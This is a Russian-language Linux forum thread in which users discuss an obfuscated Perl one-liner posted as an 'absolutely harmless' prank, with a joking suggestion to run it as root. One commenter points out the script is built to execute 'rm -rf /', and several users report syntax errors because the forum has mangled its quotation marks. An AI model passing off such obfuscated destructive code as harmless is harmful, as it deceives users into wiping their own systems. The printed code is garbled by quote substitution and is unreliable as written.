fly4life
написал 16 ноября 2003 года в 23:53 (1314 просмотра)
Ведет себя
как мужчина; открыл 182 темы в форуме, оставил 5340 комментариев на сайте.
http://www.linux.org.ru/view-message.jsp?msgid=392747
Гыгы =)
Последние комментарии
-
fhunter, 29 ноября в 2:09 → Проблема с NO_PUBKEY: как получить GPG-ключ и добавить его в базу apt? 6
-
DimitriuS, 6 сентября в 10:37 → Перекличка 14
-
Иванн, 9 апреля в 8:31 → Ассоциация РАСПО провела первое учредительное собрание 1
-
Kiri11.ADV1, 7 марта 2021 года в 12:01 → Логи catalina.out в TomCat 9 в формате JSON 1
-
fhunter, 26 февраля 2021 года в 20:45 → A, MX, PTR — Настройка и проверка извне. Как ? 2

Экология и вегетарианство на благо всем живым существам Планеты.
Как всегда куча фраз дятлов с именами анонимоус…
так выражаются только на ЛОР!!!
Мне понравилось.
Класс!
Всегда хотел разобраться со странными программами такого типа на perl. Вот и займусь этим в ближайшее время, раз уж повод появился ;)
Вот, кстати, подобная, но АБСОЛЮТНО безобидная (честно-честно :)), программа на Perl (запускайте под root’ом :)) — шутка):
#!/usr/bin/perl -w
$\=’`'|«’»;$\++;$;=’/'|’`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_=
'%’|'`’;$_.=’`'|’#';$_.=$\;$_.=’`'|’/';$_.=$«.’»';$_.=’@'|’*'&~’!';$_.=«$:$,$/»
..$«;$_.=’`'|’!';$_.=’`'|’.';$_.=’/'|’`';$_.=$/.$\;$_.=’%'|’`';$_.=$;.$»;$_.=’@'
|’:'&~’*';$_.=’`'|’%';$_.=$;;$_.=’`'|’,';$_.=$».$\;$_.=’`'|’!';$_.=’#'|’`';$_.=
'+’|'`’;$_.=’`'|’%';$_.=$;.’«'.$».’>&’;$_.=$,&’:';`$_`;
В перле не рублю вообще =). Но вот что выдаёт:
[fly4life@LapTop coding]$ ./perl_fun.pl
./perl_fun.pl: line 2: syntax error near unexpected token `;;'
./perl_fun.pl: line 2: `$\=’`'|«’»;$\++;$;=’/'|’`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$: ++;$_='
Поражает количество народу, наступивших на эти грабли. Причём, то, что эта программа выполняет 'rm -rf /’, там явно сказано и не единажды =)
У меня выдает:
> ./perl_fun.pl
Syntax error: EOF in backquote substitution
fly4life,
$ perl perl_fun.pl
Master,
добавь пустую строку в конец файла
У меня:
shurup@localhost:/mnt/multi/coding/perl$ cat smoke.pl
#!/usr/bin/perl -w
$\=’`'|«’»;$\++;$;=’/'|’`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_=
'%’|'`’;$_.=’`'|’#';$_.=$\;$_.=’`'|’/';$_.=$«.’»';$_.=’@'|’*'&~’!';$_.=«$:$,$/»
..$«;$_.=’`'|’!';$_.=’`'|’.';$_.=’/'|’`';$_.=$/.$\;$_.=’%'|’`';$_.=$;.$»;$_.=’@'
|’:'&~’*';$_.=’`'|’%';$_.=$;;$_.=’`'|’,';$_.=$».$\;$_.=’`'|’!';$_.=’#'|’`';$_.=
'+’|'`’;$_.=’`'|’%';$_.=$;.’«'.$».’>&’;$_.=$,&’:';`$_`;
shurup@localhost:/mnt/multi/coding/perl$ perl smoke.pl
J1E0another Perl hacker
[fly4life@LapTop coding]$ perl perl_fun.pl
sh: -c: line 1: unexpected EOF while looking for matching «'
sh: -c: line 2: syntax error: unexpected end of file
Хуже перла лучше нет :F
2SHuRuP: Выложи куда нибудь (в какую нибудь директорию на сайте) этот скрипт, а то такое впечатление что форум что-то в нем исправляет… (что вполне реально — с url часто разные глюки происходят)
Master,
да, ты прав — форум изуродовал что-то :(
http://www.nixp.ru/pub/tmp/smoke.pl.html
Вот теперь работает =)